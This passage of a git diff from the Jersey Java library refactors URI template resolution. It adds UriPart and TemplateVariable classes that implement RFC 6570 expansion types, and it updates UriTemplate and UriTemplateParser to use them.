 import java.util.regex.Pattern;
 import java.util.regex.PatternSyntaxException;
+import java.util.stream.Collectors;
 
 import org.glassfish.jersey.internal.guava.Preconditions;
+import org.glassfish.jersey.uri.internal.UriPart;
 import org.glassfish.jersey.uri.internal.UriTemplateParser;
 
 /**
@@ -124,7 +126,7 @@
          * @throws java.lang.IllegalArgumentException in case no value has been found and the strategy
          *                                            does not support {@code null} values.
          */
-        public String valueFor(String templateVariable, String matchedGroup);
+        public String valueFor(UriPart templateVariable, String matchedGroup);
     }
 
     /**
@@ -156,7 +158,12 @@
     /**
      * The template variables in the URI template.
      */
-    private final List<String> templateVariables;
+    private final List<UriPart> templateVariables;
+
+    /**
+     * Get all UriParts, not only the variables
+     */
+    private final List<UriPart> uriParts;
     /**
      * The number of explicit regular expressions declared for template
      * variables.
@@ -182,6 +189,7 @@
         this.pattern = PatternWithGroups.EMPTY;
         this.endsWithSlash = false;
         this.templateVariables = Collections.emptyList();
+        this.uriParts = Collections.emptyList();
         this.numOfExplicitRegexes = this.numOfCharacters = this.numOfRegexGroups = 0;
     }
 
@@ -240,6 +248,8 @@
         this.endsWithSlash = template.charAt(template.length() - 1) == '/';
 
         this.templateVariables = Collections.unmodifiableList(templateParser.getNames());
+
+        this.uriParts = templateParser.getUriParts();
     }
 
     /**
@@ -357,7 +367,7 @@
 
         final StringBuilder pathBuilder = new StringBuilder();
         for (final String segment : resolvedSegments) {
-            pathBuilder.append('/').append(segment);
+            pathBuilder.append('/').append(UriComponent.encode(segment, UriComponent.Type.PATH));
         }
 
         String resultString = createURIWithStringValues(uri.getScheme(),
@@ -426,7 +436,7 @@
      * @return the list of template variables.
      */
     public final List<String> getTemplateVariables() {
-        return templateVariables;
+        return templateVariables.stream().map(UriPart::getPart).collect(Collectors.toList());
     }
 
     /**
@@ -438,8 +448,8 @@
      */
     @SuppressWarnings("UnusedDeclaration")
     public final boolean isTemplateVariablePresent(String name) {
-        for (String s : templateVariables) {
-            if (s.equals(name)) {
+        for (UriPart tv : templateVariables) {
+            if (tv.getPart().equals(name)) {
                 return true;
             }
         }
@@ -507,7 +517,7 @@
             throw new IllegalArgumentException();
         }
 
-        return pattern.match(uri, templateVariables, templateVariableToValue);
+        return pattern.match(uri, getTemplateVariables(), templateVariableToValue);
     }
 
     /**
@@ -547,10 +557,14 @@
      */
     public final String createURI(final Map<String, String> values) {
         final StringBuilder sb = new StringBuilder();
-        resolveTemplate(normalizedTemplate, sb, new TemplateValueStrategy() {
+        resolveTemplate(sb, new TemplateValueStrategy() {
             @Override
-            public String valueFor(String templateVariable, String matchedGroup) {
-                return values.get(templateVariable);
+            public String valueFor(UriPart templateVariable, String matchedGroup) {
+                String value = values.get(templateVariable.getPart());
+                if (value == null) {
+                    return "";
+                }
+                return templateVariable.resolve(value, null, false);
             }
         });
         return sb.toString();
@@ -592,16 +606,16 @@
             private final Map<String, String> mapValues = new HashMap<String, String>();
 
             @Override
-            public String valueFor(String templateVariable, String matchedGroup) {
+            public String valueFor(UriPart templateVariable, String matchedGroup) {
                 // Check if a template variable has already occurred
                 // If so use the value to ensure that two or more declarations of
                 // a template variable have the same value
-                String tValue = mapValues.get(templateVariable);
+                String tValue = mapValues.get(templateVariable.getPart());
                 if (tValue == null) {
                     if (v < lengthPlusOffset) {
                         tValue = values[v++];
                         if (tValue != null) {
-                            mapValues.put(templateVariable, tValue);
+                            mapValues.put(templateVariable.getPart(), tValue);
                         }
                     }
                 }
@@ -611,84 +625,24 @@
         };
 
         final StringBuilder sb = new StringBuilder();
-        resolveTemplate(normalizedTemplate, sb, ns);
+        resolveTemplate(sb, ns);
         return sb.toString();
     }
 
     /**
      * Build a URI based on the parameters provided by the variable name strategy.
      *
-     * @param normalizedTemplate normalized URI template. A normalized template is a template without any explicit regular
-     *                           expressions.
      * @param builder            URI string builder to be used.
      * @param valueStrategy      The template value producer strategy to use.
      */
-    private static void resolveTemplate(
-            String normalizedTemplate,
-            StringBuilder builder,
-            TemplateValueStrategy valueStrategy) {
-        // Find all template variables
-        Matcher m = TEMPLATE_NAMES_PATTERN.matcher(normalizedTemplate);
-
-        int i = 0;
-        while (m.find()) {
-            builder.append(normalizedTemplate, i, m.start());
-            String variableName = m.group(1);
-            // TODO matrix
-            char firstChar = variableName.charAt(0);
-            if (firstChar == '?' || firstChar == ';') {
-                final char prefix;
-                final char separator;
-                final String emptyValueAssignment;
-                if (firstChar == '?') {
-                    // query
-                    prefix = '?';
-                    separator = '&';
-                    emptyValueAssignment = "=";
-                } else {
-                    // matrix
-                    prefix = ';';
-                    separator = ';';
-                    emptyValueAssignment = "";
-                }
-
-                int index = builder.length();
-                String[] variables = variableName.substring(1).split(", ?");
-                for (String variable : variables) {
-                    try {
-                        String value = valueStrategy.valueFor(variable, m.group());
-                        if (value != null) {
-                            if (index != builder.length()) {
-                                builder.append(separator);
-                            }
-
-                            builder.append(variable);
-                            if (value.isEmpty()) {
-                                builder.append(emptyValueAssignment);
-                            } else {
-                                builder.append('=');
-                                builder.append(value);
-                            }
-                        }
-                    } catch (IllegalArgumentException ex) {
-                        // no value found => ignore the variable
-                    }
-                }
-
-                if (index != builder.length() && (index == 0 || builder.charAt(index - 1) != prefix)) {
-                    builder.insert(index, prefix);
-                }
+    private void resolveTemplate(StringBuilder builder, TemplateValueStrategy valueStrategy) {
+        for (UriPart uriPart : uriParts) {
+            if (uriPart.isTemplate()) {
+                builder.append(valueStrategy.valueFor(uriPart, uriPart.getGroup()));
             } else {
-                String value = valueStrategy.valueFor(variableName, m.group());
-
-                if (value != null) {
-                    builder.append(value);
-                }
+                builder.append(uriPart.getPart());
             }
-
-            i = m.end();
         }
-        builder.append(normalizedTemplate, i, normalizedTemplate.length());
     }
 
     @Override
@@ -756,16 +710,9 @@
             final String path, final String query, final String fragment,
             final Map<String, ?> values, final boolean encode, final boolean encodeSlashInPath) {
 
-        Map<String, String> stringValues = new HashMap<String, String>();
-        for (Map.Entry<String, ?> e : values.entrySet()) {
-            if (e.getValue() != null) {
-                stringValues.put(e.getKey(), e.getValue().toString());
-            }
-        }
-
-        return createURIWithStringValues(scheme, authority,
+        return createURI(scheme, authority,
                 userInfo, host, port, path, query, fragment,
-                stringValues, encode, encodeSlashInPath);
+                new Object[] {}, encode, encodeSlashInPath, values);
     }
 
     /**
@@ -800,7 +747,7 @@
             final String path, final String query, final String fragment,
             final Map<String, ?> values, final boolean encode, final boolean encodeSlashInPath) {
 
-        return createURIWithStringValues(
+        return createURI(
                 scheme, authority, userInfo, host, port, path, query, fragment, EMPTY_VALUES, encode, encodeSlashInPath, values);
     }
 
@@ -837,17 +784,10 @@
             final String path, final String query, final String fragment,
             final Object[] values, final boolean encode, final boolean encodeSlashInPath) {
 
-        String[] stringValues = new String[values.length];
-        for (int i = 0; i < values.length; i++) {
-            if (values[i] != null) {
-                stringValues[i] = values[i].toString();
-            }
-        }
-
-        return createURIWithStringValues(
+        return createURI(
                 scheme, authority,
                 userInfo, host, port, path, query, fragment,
-                stringValues, encode, encodeSlashInPath);
+                values, encode, encodeSlashInPath, new HashMap<String, Object>());
     }
 
     /**
@@ -879,13 +819,13 @@
             final String[] values, final boolean encode, final boolean encodeSlashInPath) {
 
         final Map<String, Object> mapValues = new HashMap<String, Object>();
-        return createURIWithStringValues(
+        return createURI(
                 scheme, authority, userInfo, host, port, path, query, fragment, values, encode, encodeSlashInPath, mapValues);
     }
 
-    private static String createURIWithStringValues(
+    private static String createURI(
             final String scheme, final String authority, final String userInfo, final String host, final String port,
-            final String path, final String query, final String fragment, final String[] values, final boolean encode,
+            final String path, final String query, final String fragment, final Object[] values, final boolean encode,
             final boolean encodeSlashInPath, final Map<String, ?> mapValues) {
 
         final StringBuilder sb = new StringBuilder();
@@ -942,9 +882,15 @@
             }
 
             if (notEmpty(query)) {
-                sb.append('?');
+                int sbLength = sb.length();
                 offset = createUriComponent(UriComponent.Type.QUERY_PARAM, query, values,
                         offset, encode, mapValues, sb);
+                if (sb.length() > sbLength) {
+                    char firstQuery = sb.charAt(sbLength);
+                    if (firstQuery != '?' && (query.trim().charAt(0) != '{' || firstQuery != '&')) {
+                        sb.insert(sbLength, '?');
+                    }
+                }
             }
 
             if (notEmpty(fragment)) {
@@ -963,7 +909,7 @@
     @SuppressWarnings("unchecked")
     private static int createUriComponent(final UriComponent.Type componentType,
                                           String template,
-                                          final String[] values,
+                                          final Object[] values,
                                           final int valueOffset,
                                           final boolean encode,
                                           final Map<String, ?> _mapValues,
@@ -977,33 +923,28 @@
         }
 
         // Find all template variables
-        template = new UriTemplateParser(template).getNormalizedTemplate();
-
+        UriTemplateParser templateParser = new UriTemplateParser(template);
 
         class ValuesFromArrayStrategy implements TemplateValueStrategy {
             private int offset = valueOffset;
 
             @Override
-            public String valueFor(String templateVariable, String matchedGroup) {
+            public String valueFor(UriPart templateVariable, String matchedGroup) {
 
-                Object value = mapValues.get(templateVariable);
+                Object value = mapValues.get(templateVariable.getPart());
                 if (value == null && offset < values.length) {
                     value = values[offset++];
-                    mapValues.put(templateVariable, value);
+                    mapValues.put(templateVariable.getPart(), value);
                 }
-                if (value == null) {
+                if (value == null && templateVariable.throwWhenNoTemplateArg()) {
                     throw new IllegalArgumentException(
-                            String.format("The template variable '%s' has no value", templateVariable));
+                            String.format("The template variable '%s' has no value", templateVariable.getPart()));
                 }
-                if (encode) {
-                    return UriComponent.encode(value.toString(), componentType);
-                } else {
-                    return UriComponent.contextualEncode(value.toString(), componentType);
-                }
+                return templateVariable.resolve(value, componentType, encode);
             }
         }
         ValuesFromArrayStrategy cs = new ValuesFromArrayStrategy();
-        resolveTemplate(template, b, cs);
+        new UriTemplate(templateParser).resolveTemplate(b, cs);
 
         return cs.offset;
     }
@@ -1033,25 +974,18 @@
 
         final Map<String, Object> mapValues = (Map<String, Object>) _mapValues;
 
-        // Find all template variables
-        template = new UriTemplateParser(template).getNormalizedTemplate();
-
         StringBuilder sb = new StringBuilder();
-        resolveTemplate(template, sb, new TemplateValueStrategy() {
+        // Find all template variables
+        new UriTemplate(new UriTemplateParser(template)).resolveTemplate(sb, new TemplateValueStrategy() {
             @Override
-            public String valueFor(String templateVariable, String matchedGroup) {
+            public String valueFor(UriPart templateVariable, String matchedGroup) {
 
-                Object value = mapValues.get(templateVariable);
+                Object value = mapValues.get(templateVariable.getPart());
 
                 if (value != null) {
-                    if (encode) {
-                        value = UriComponent.encode(value.toString(), type);
-                    } else {
-                        value = UriComponent.contextualEncode(value.toString(), type);
-                    }
-                    return value.toString();
+                    return templateVariable.resolve(value.toString(), type, encode);
                 } else {
-                    if (mapValues.containsKey(templateVariable)) {
+                    if (mapValues.containsKey(templateVariable.getPart())) {
                         throw new IllegalArgumentException(
                                 String.format("The value associated of the template value map for key '%s' is 'null'.",
                                         templateVariable)
diff --git a/core-common/src/main/java/org/glassfish/jersey/uri/internal/TemplateVariable.java b/core-common/src/main/java/org/glassfish/jersey/uri/internal/TemplateVariable.java
new file mode 100644
index 0000000..c503250
--- /dev/null
+++ b/core-common/src/main/java/org/glassfish/jersey/uri/internal/TemplateVariable.java
@@ -0,0 +1,400 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+package org.glassfish.jersey.uri.internal;
+
+import org.glassfish.jersey.uri.UriComponent;
+
+import java.util.Collection;
+import java.util.Map;
+
+/**
+ * The Reserved Expansion template variable representation as per RFC6570.
+ */
+/* package */ class TemplateVariable extends UriPart {
+
+    protected final Position position;
+    protected int len = -1; // unlimited
+    protected boolean star = false;
+
+    TemplateVariable(String part, Position position) {
+        super(part);
+        this.position = position;
+    }
+
+    /**
+     * Choose the template variable type. The
+     * @param type Type of the template
+     * @param part the template content
+     * @param position the position of the variable in the template.
+     * @return Subclass of Templatevariable to represent the variable and allowing expansion based on the type of the variable
+     */
+    static TemplateVariable createTemplateVariable(char type, String part, Position position) {
+        TemplateVariable newType;
+        switch (type) {
+            case '+':
+                newType = new TemplateVariable(part, position);
+                break;
+            case '-': // Not supported by RFC
+                newType = new MinusTemplateVariable(part, position);
+                break;
+            case '#':
+                newType = new HashTemplateVariable(part, position);
+                break;
+            case '.':
+                newType = new DotTemplateVariable(part, position);
+                break;
+            case '/':
+                newType = new SlashTemplateVariable(part, position);
+                break;
+            case ';':
+                newType = new MatrixTemplateVariable(part, position);
+                break;
+            case '?':
+                newType = new QueryTemplateVariable(part, position);
+                break;
+            case '&':
+                newType = new QueryContinuationTemplateVariable(part, position);
+                break;
+            default:
+                //'p'
+                newType = new PathTemplateVariable(part, position);
+                break;
+        }
+        return newType;
+    }
+
+    @Override
+    public boolean isTemplate() {
+        return true;
+    }
+
+    @Override
+    public String getGroup() {
+        StringBuilder sb = new StringBuilder();
+        if (position.isFirst()) {
+            sb.append('{');
+        } else {
+            sb.append(',');
+        }
+        sb.append(getPart());
+        if (position.isLast()) {
+            sb.append('}');
+        }
+        return sb.toString();
+    }
+
+    @Override
+    public String resolve(Object value, UriComponent.Type type, boolean encode) {
+        if (value == null) {
+            return "";
+        }
+        return position.isFirst()
+                ? plainResolve(value, type, encode)
+                : separator() + plainResolve(value, type, encode);
+    }
+
+    protected char separator() {
+        return ',';
+    }
+
+    protected char keyValueSeparator() {
+        return star ? '=' : ',';
+    }
+
+    protected String plainResolve(Object value, UriComponent.Type componentType, boolean encode) {
+        if (Collection.class.isInstance(value)) {
+            return ((Collection<Object>) value).stream()
+                    .map(a -> plainResolve(a, componentType, encode))
+                    .reduce("", (a, b) -> a + (a.isEmpty() ? b : separator() + b));
+        } else if (Map.class.isInstance(value)) {
+            return ((Map<?, ?>) value).entrySet().stream()
+                    .map(e -> plainResolve(e.getKey(), componentType, encode)
+                            + keyValueSeparator()
+                            + plainResolve(e.getValue(), componentType, encode))
+                    .reduce("", (a, b) -> a + (a.isEmpty() ? b : separator() + b));
+        } else {
+            return plainResolve(value.toString(), componentType, encode);
+        }
+    }
+
+    protected String plainResolve(String value, UriComponent.Type componentType, boolean encode) {
+        String val = len == -1 ? value : value.substring(0, Math.min(value.length(), len));
+        return encode(val, componentType, encode);
+    }
+
+    protected String encode(String toEncode, UriComponent.Type componentType, boolean encode) {
+        if (componentType == null) {
+            componentType = getDefaultType();
+        }
+        return UriPart.percentEncode(toEncode, componentType, encode);
+    }
+
+    protected UriComponent.Type getDefaultType() {
+        return UriComponent.Type.PATH;
+    }
+
+    void setLength(int len) {
+        this.len = len;
+    }
+
+    void setStar(boolean b) {
+        star = b;
+    }
+
+    /**
+     * The default UriBuilder template
+     */
+    private static class PathTemplateVariable extends TemplateVariable {
+        protected PathTemplateVariable(String part, Position position) {
+            super(part, position);
+        }
+
+        @Override
+        public boolean throwWhenNoTemplateArg() {
+            return true; // The default UriBuilder behaviour
+        }
+
+        @Override
+        protected UriComponent.Type getDefaultType() {
+            return UriComponent.Type.PATH;
+        }
+    }
+
+    /**
+     * The template that works according to RFC 6570, Section 3.2.2.
+     * The default Path works as described in Section 3.2.3, as described by RFC 3986.
+     */
+    private static class MinusTemplateVariable extends TemplateVariable {
+        protected MinusTemplateVariable(String part, Position position) {
+            super(part, position);
+        }
+
+        @Override
+        protected String encode(String toEncode, UriComponent.Type componentType, boolean encode) {
+            return super.encode(toEncode, UriComponent.Type.QUERY, encode); //Query has the same encoding as Section 3.2.3
+        }
+
+        @Override
+        protected UriComponent.Type getDefaultType() {
+            return UriComponent.Type.QUERY;
+        }
+    }
+
+
+    /**
+     * Section 3.2.5
+     */
+    private static class DotTemplateVariable extends MinusTemplateVariable {
+        protected DotTemplateVariable(String part, Position position) {
+            super(part, position);
+        }
+
+        @Override
+        public String resolve(Object value, UriComponent.Type type, boolean encode) {
+            if (value == null) {
+                return "";
+            }
+            return '.' + plainResolve(value, type, encode);
+        }
+
+        @Override
+        protected char separator() {
+            return star ? '.' : super.separator();
+        }
+    }
+
+    /**
+     * Section 3.2.6
+     */
+    private static class SlashTemplateVariable extends MinusTemplateVariable {
+        protected SlashTemplateVariable(String part, Position position) {
+            super(part, position);
+        }
+
+        @Override
+        public String resolve(Object value, UriComponent.Type type, boolean encode) {
+            if (value == null) {
+                return "";
+            }
+            return '/' + plainResolve(value, type, encode);
+        }
+
+        @Override
+        protected char separator() {
+            return star ? '/' : super.separator();
+        }
+    }
+
+    /**
+     * Section 3.2.4
+     */
+    private static class HashTemplateVariable extends TemplateVariable {
+        protected HashTemplateVariable(String part, Position position) {
+            super(part, position);
+        }
+
+        @Override
+        public String resolve(Object value, UriComponent.Type type, boolean encode) {
+            return (value == null || !position.isFirst() ? "" : "#") + super.resolve(value, type, encode);
+        }
+
+        @Override
+        protected UriComponent.Type getDefaultType() {
+            return UriComponent.Type.PATH;
+        }
+    }
+
+
+    private abstract static class ExtendedVariable extends TemplateVariable {
+
+        private final Character firstSymbol;
+        private final char separator;
+        protected final boolean appendEmpty;
+
+        protected ExtendedVariable(String part, Position position, Character firstSymbol, char separator, boolean appendEmpty) {
+            super(part, position);
+            this.firstSymbol = firstSymbol;
+            this.separator = separator;
+            this.appendEmpty = appendEmpty;
+        }
+
+        @Override
+        public String resolve(Object value, UriComponent.Type componentType, boolean encode) {
+            if (value == null) { // RFC 6570
+                return "";
+            }
+            String sValue = super.plainResolve(value, componentType, encode);
+            StringBuilder sb = new StringBuilder();
+
+            if (position.isFirst()) {
+                sb.append(firstSymbol);
+            } else {
+                sb.append(separator);
+            }
+
+            if (!star) {
+                sb.append(getPart());
+                if (appendEmpty || !sValue.isEmpty()) {
+                    sb.append('=').append(sValue);
+                }
+            } else if (!Map.class.isInstance(value)) {
+                String[] split = sValue.split(String.valueOf(separator()));
+                for (int i = 0; i != split.length; i++) {
+                    sb.append(getPart());
+                    sb.append('=').append(split[i]);
+                    if (i != split.length - 1) {
+                        sb.append(separator);
+                    }
+                }
+            } else if (Map.class.isInstance(value)) {
+                sb.append(sValue);
+            }
+            return sb.toString();
+        }
+
+        @Override
+        protected char separator() {
+            return star ? separator : super.separator();
+        }
+    }
+
+    /**
+     * Section 3.2.7
+     */
+    private static class MatrixTemplateVariable extends ExtendedVariable {
+        protected MatrixTemplateVariable(String part, Position position) {
+            super(part, position, ';', ';', false);
+        }
+
+        @Override
+        protected UriComponent.Type getDefaultType() {
+            return UriComponent.Type.QUERY; // For matrix, use query encoding per 6570
+        }
+
+        @Override
+        public String resolve(Object value, UriComponent.Type componentType, boolean encode) {
+            return super.resolve(value, getDefaultType(), encode);
+        }
+    }
+
+    /**
+     * Section 3.2.8
+     */
+    private static class QueryTemplateVariable extends ExtendedVariable {
+        protected QueryTemplateVariable(String part, Position position) {
+            super(part, position, '?', '&', true);
+        }
+    }
+
+    /**
+     * Section 3.2.9
+     */
+    private static class QueryContinuationTemplateVariable extends ExtendedVariable {
+        protected QueryContinuationTemplateVariable(String part, Position position) {
+            super(part, position, '&', '&', true);
+        }
+
+        @Override
+        protected UriComponent.Type getDefaultType() {
+            return UriComponent.Type.QUERY;
+        }
+
+        @Override
+        public String resolve(Object value, UriComponent.Type componentType, boolean encode) {
+            return super.resolve(value, getDefaultType(), encode);
+        }
+    }
+
+    /**
+     * <p>
+     *  Position of the template variable. For instance, template {@code {first, middle, last}} would have three arguments, on
+     *  {@link Position#FIRST}, {@link Position#MIDDLE}, and {@link Position#LAST} positions.
+     *  If only a single argument is in template (most common) e.g. {@code {single}}, the position is {@link Position#SINGLE}.
+     * </p>
+     * <p>
+     *  {@link Position#SINGLE} is first (see {@link Position#isFirst()}) and last (see {@link Position#isLast()}) at the same time.
+     * </p>
+     */
+
+    /* package */ static enum Position {
+        FIRST((byte) 0b1100),
+        MIDDLE((byte) 0b1010),
+        LAST((byte) 0b1001),
+        SINGLE((byte) 0b1111);
+
+        final byte val;
+
+        Position(byte val) {
+            this.val = val;
+        }
+
+        /**
+         * Informs whether the position of the argument is the last in the argument group.
+         * @return true when the argument is the last.
+         */
+        boolean isLast() {
+            return (val & LAST.val) == LAST.val;
+        }
+
+        /**
+         * Informs whether the position of the argument is the first in the argument group.
+         * @return true when the argument is the first.
+         */
+        boolean isFirst() {
+            return (val & FIRST.val) == FIRST.val;
+        }
+    }
+}
diff --git a/core-common/src/main/java/org/glassfish/jersey/uri/internal/UriPart.java b/core-common/src/main/java/org/glassfish/jersey/uri/internal/UriPart.java
new file mode 100644
index 0000000..e808a61
--- /dev/null
+++ b/core-common/src/main/java/org/glassfish/jersey/uri/internal/UriPart.java
@@ -0,0 +1,97 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.uri.internal;
+
+import org.glassfish.jersey.uri.UriComponent;
+
+/**
+ * <p>
+ *  This class represents a part of the uri as parsed by the UriTemplateParser.
+ * </p>
+ * <p>
+ *  The UriTemplate parser can produce multiple UriParts, each representing a part of the Uri. One part can represent either
+ *  a static uri part without a template or a template with a single variable. The template with multiple variables generates
+ *  multiple UriParts, each for a single variable.
+ * </p>
+ */
+public class UriPart {
+    private final String part;
+
+    UriPart(String part) {
+        this.part = part;
+    }
+
+    /**
+     * Return the string value representing this UriPart. It can either be static content or a template.
+     * @return string value representing this UriPart
+     */
+    public String getPart() {
+        return part;
+    }
+
+    /**
+     * Return the matching group of the template represented by this {@link UriPart}
+     * @return the matching group
+     */
+    public String getGroup() {
+        return part;
+    }
+
+    /**
+     * Returns true when this {@link UriPart} is a template with a variable
+     * @return true when a template
+     */
+    public boolean isTemplate() {
+        return false;
+    }
+
+    /**
+     * Returns the resolved template variable when the value object is passed
+     * @param value the value object to be used to resolve the template variable
+     * @param componentType the component type that can be used to determine the encoding os special characters
+     * @param encode the hint whether to encode or not
+     * @return the resolved template
+     */
+    public String resolve(Object value, UriComponent.Type componentType, boolean encode) {
+        return part;
+    }
+
+    /**
+     * Informs whether throw {@link IllegalArgumentException} when no object value matches the template argument
+     * @return {@code true} when when no object value matches the template argument and
+     * {@link IllegalArgumentException} is to be thrown
+     */
+    public boolean throwWhenNoTemplateArg() {
+        return false;
+    }
+
+    /**
+     * Percent encode the given text
+     * @param toEncode the given text to encode
+     * @param componentType the component type to encode
+     * @param encode toEncode or contextualEncode
+     * @return the encoded text
+     */
+    public static String percentEncode(String toEncode, UriComponent.Type componentType, boolean encode) {
+        if (encode) {
+            toEncode = UriComponent.encode(toEncode, componentType);
+        } else {
+            toEncode = UriComponent.contextualEncode(toEncode, componentType);
+        }
+        return toEncode;
+    }
+}
diff --git a/core-common/src/main/java/org/glassfish/jersey/uri/internal/UriTemplateParser.java b/core-common/src/main/java/org/glassfish/jersey/uri/internal/UriTemplateParser.java
index 8ddcb49..b438023 100644
--- a/core-common/src/main/java/org/glassfish/jersey/uri/internal/UriTemplateParser.java
+++ b/core-common/src/main/java/org/glassfish/jersey/uri/internal/UriTemplateParser.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2018 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -61,13 +61,16 @@
      * Default URI template value regexp pattern.
      */
     public static final Pattern TEMPLATE_VALUE_PATTERN = Pattern.compile("[^/]+");
+    public static final Pattern TEMPLATE_VALUE_PATTERN_MULTI = Pattern.compile("[^,/]+");
+    public static final Pattern MATCH_NUMBER_OF_MAX_LENGTH_4 = Pattern.compile("[1-9][0-9]{0,3}");
 
     private final String template;
     private final StringBuffer regex = new StringBuffer();
     private final StringBuffer normalizedTemplate = new StringBuffer();
     private final StringBuffer literalCharactersBuffer = new StringBuffer();
     private final Pattern pattern;
-    private final List<String> names = new ArrayList<String>();
+    private final List<UriPart> names = new ArrayList<>();
+    private final List<UriPart> parts = new ArrayList<>();
     private final List<Integer> groupCounts = new ArrayList<Integer>();
     private final Map<String, Pattern> nameToPattern = new HashMap<String, Pattern>();
     private int numOfExplicitRegexes;
@@ -143,11 +146,22 @@
      *
      * @return the list of template names.
      */
-    public final List<String> getNames() {
+    public final List<UriPart> getNames() {
         return names;
     }
 
     /**
+     * Get a collection of uri parts (static strings and dynamic arguments) as parsed by the parser.
+     * Can be used to compose the uri. This collection is usually a superset of {@link #getNames() names}
+     * and other parts that do not have a template.
+     *
+     * @return List of parts of the uri.
+     */
+    public List<UriPart> getUriParts() {
+        return parts;
+    }
+
+    /**
      * Get the capturing group counts for each template variable.
      *
      * @return the capturing group counts.
@@ -248,6 +262,7 @@
             String s = encodeLiteralCharacters(literalCharactersBuffer.toString());
 
             normalizedTemplate.append(s);
+            parts.add(new UriPart(s));
 
             // Escape if reserved regex character
             for (int i = 0; i < s.length(); i++) {
@@ -289,90 +304,71 @@
     }
 
     private int parseName(final CharacterIterator ci, int skipGroup) {
-        char c = consumeWhiteSpace(ci);
+        Variables variables = new Variables();
+        variables.parse(ci, template);
 
-        char paramType = 'p'; // Normal path param unless otherwise stated
-        StringBuilder nameBuffer = new StringBuilder();
-
-        // Look for query or matrix types
-        if (c == '?' || c == ';') {
-            paramType = c;
-            c = ci.next();
-        }
-
-        if (Character.isLetterOrDigit(c) || c == '_') {
-            // Template name character
-            nameBuffer.append(c);
-        } else {
-            throw new IllegalArgumentException(LocalizationMessages.ERROR_TEMPLATE_PARSER_ILLEGAL_CHAR_START_NAME(c, ci.pos(),
-                    template));
-        }
-
-        String nameRegexString = "";
-        while (true) {
-            c = ci.next();
-            // "\\{(\\w[-\\w\\.]*)
-            if (Character.isLetterOrDigit(c) || c == '_' || c == '-' || c == '.') {
-                // Template name character
-                nameBuffer.append(c);
-            } else if (c == ',' && paramType != 'p') {
-                // separator allowed for non-path parameter names
-                nameBuffer.append(c);
-            } else if (c == ':' && paramType == 'p') {
-                nameRegexString = parseRegex(ci);
-                break;
-            } else if (c == '}') {
-                break;
-            } else if (c == ' ') {
-                c = consumeWhiteSpace(ci);
-
-                if (c == ':') {
-                    nameRegexString = parseRegex(ci);
-                    break;
-                } else if (c == '}') {
-                    break;
-                } else {
-                    // Error
-                    throw new IllegalArgumentException(
-                            LocalizationMessages.ERROR_TEMPLATE_PARSER_ILLEGAL_CHAR_AFTER_NAME(c, ci.pos(), template));
-                }
-            } else {
-                throw new IllegalArgumentException(
-                        LocalizationMessages.ERROR_TEMPLATE_PARSER_ILLEGAL_CHAR_PART_OF_NAME(c, ci.pos(), template));
-            }
-        }
-
-        String name = nameBuffer.toString();
         Pattern namePattern;
+        // Make sure we display something useful
+        String name = variables.getName();
+        int argIndex = 0;
         try {
-            if (paramType == '?' || paramType == ';') {
-                String[] subNames = name.split(",\\s?");
-
+            switch (variables.paramType) {
+            case '?':
+            case ';':
+            case '&':
                 // Build up the regex for each of these properties
-                StringBuilder regexBuilder = new StringBuilder(paramType == '?' ? "\\?" : ";");
-                String separator = paramType == '?' ? "\\&" : ";/\\?";
+                StringBuilder regexBuilder = new StringBuilder();
+                String separator = null;
+                switch (variables.paramType) {
+                    case '?':
+                        separator = "\\&";
+                        regexBuilder.append("\\?"); // first symbol
+                        break;
+                    case '&':
+                        separator = "\\&";
+                        regexBuilder.append("\\&"); // first symbol
+                        break;
+                    case ';':
+                        separator = ";/\\?";
+                        regexBuilder.append(";"); // first symbol
+                        break;
+                }
+
 
                 // Start a group because each parameter could repeat
                 //                names.add("__" + (paramType == '?' ? "query" : "matrix"));
 
-                boolean first = true;
+                regexBuilder.append('(');
+                for (String subName : variables.names) {
 
-                regexBuilder.append("(");
-                for (String subName : subNames) {
+                    TemplateVariable.Position position = determinePosition(variables.separatorCount, argIndex);
+                    TemplateVariable templateVariable =
+                            TemplateVariable.createTemplateVariable(variables.paramType, subName, position);
+                    templateVariable.setStar(variables.explodes(argIndex));
+
                     regexBuilder.append("(&?");
                     regexBuilder.append(subName);
                     regexBuilder.append("(=([^");
                     regexBuilder.append(separator);
-                    regexBuilder.append("]*))?");
-                    regexBuilder.append(")");
-                    if (!first) {
-                        regexBuilder.append("|");
+                    regexBuilder.append(']');
+                    if (variables.hasLength(argIndex)) {
+                        regexBuilder.append('{').append(variables.getLength(argIndex)).append('}');
+                        templateVariable.setLength(variables.getLength(argIndex));
+                    } else {
+                        regexBuilder.append('*');
+                    }
+                    regexBuilder.append("))?");
+                    regexBuilder.append(')');
+                    if (argIndex != 0) {
+                        regexBuilder.append('|');
                     }
 
-                    names.add(subName);
+                    names.add(templateVariable);
+                    parts.add(templateVariable);
+
                     groupCounts.add(
-                            first ? 5 : 3);
-                    first = false;
+                            argIndex == 0 ? 5 : 3);
+                    argIndex++;
                 }
 
                 //                groupCounts.add(1);
@@ -384,30 +380,96 @@
                 namePattern = Pattern.compile(regexBuilder.toString());
 
                 // Make sure we display something useful
-                name = paramType + name;
-            } else {
-                names.add(name);
